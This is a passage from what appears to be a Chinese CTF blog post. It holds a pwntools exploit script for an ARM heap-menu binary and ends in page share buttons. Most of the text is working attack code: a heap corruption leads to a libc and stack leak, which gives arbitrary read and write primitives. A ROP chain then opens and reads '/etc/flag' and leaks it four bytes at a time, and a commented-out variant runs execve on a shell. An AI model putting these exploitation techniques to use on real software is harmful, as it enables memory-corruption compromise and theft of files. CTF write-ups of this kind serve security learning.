r.sendafter("content?\r\r\n",con)
def show(idx):
menu(4)
r.sendlineafter("index?\r\r\n",str(idx))
add(0,0x10,'\n')
add(1,0x10,'\n')
fr(1)
add(1,0x10,'\n')
r.recvuntil("[DEBUG] In: ")
libc = u32(r.recvn(4))
log.success(hex(libc))
heap = 0xea2b0+libc
log.success(hex(heap))
fr(1)
edit(1,flat(heap-0xc,heap-0x8,'\n'))
add(1,0x10,'a'*0xc+'\n')
edit(0,'a'*8+flat(0xdeadbeef,heap)+'\n')
def www(where,what):
edit(1,flat(where,'\n'))
edit(0,flat(what,'\n'))
def rww(where):
edit(1,flat(where,'\n'))
show(0)
r.recvuntil("[DEBUG] Out: ")
return r.recvuntil('\r\r\n',drop=True)
libcbase = libc - 0xa4950
environ = libcbase+0xA43DC
stack = u32(rww(environ)[:4])
log.success('stack: '+hex(stack))
# 0x0009142c : pop {r0, r1, r2, r3, ip, lr} ; bx lr
# 0x0004fcc0 : pop {r4, r5, r6, lr} ; bx r3
# 0x00084afc : ldr r0, [r6] ; mov r1, r8 ; mov r2, r3 ; blx r5
gadget = libcbase+0x0009142c
gadget1 = libcbase + 0x0004fcc0
buf = environ + 4
ret_addr = stack-0x1d4+0x34
# leak in regs
rop = flat(gadget, buf, 0, 0,libcbase+0x050988, 0, gadget1,0,0,0) #open
rop += flat(gadget, 9, buf, 0x50, libcbase+0x09AFC8, 0, gadget1,0,0,buf + offset) #read
rop += flat(libcbase+0x00084afc)
# rop += flat(gadget, 1, buf, 0x50, libcbase+0x09B848, 0, gadget1) #write
www(buf,'/etc/fl')
www(buf+7,'ag')
# execve
# execve = 0x077254+libcbase
# rop = flat(gadget, buf, buf, 0,execve, 0, gadget1,0,0,0) #open
# www(buf,'/bin/shell')
for i in range(len(rop)//4):
www(ret_addr+i*4,u32(rop[i*4:i*4+4]))
menu(5)
r.recvuntil("R0 = ")
leak = int(r.recvuntil("\r\n",drop=True),16)
log.success("leak: "+p32(leak))
r.close()
return leak
# r.interactive()
res = ''
for off in range(4):
res += p32(exp(off*4))
log.success(res)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论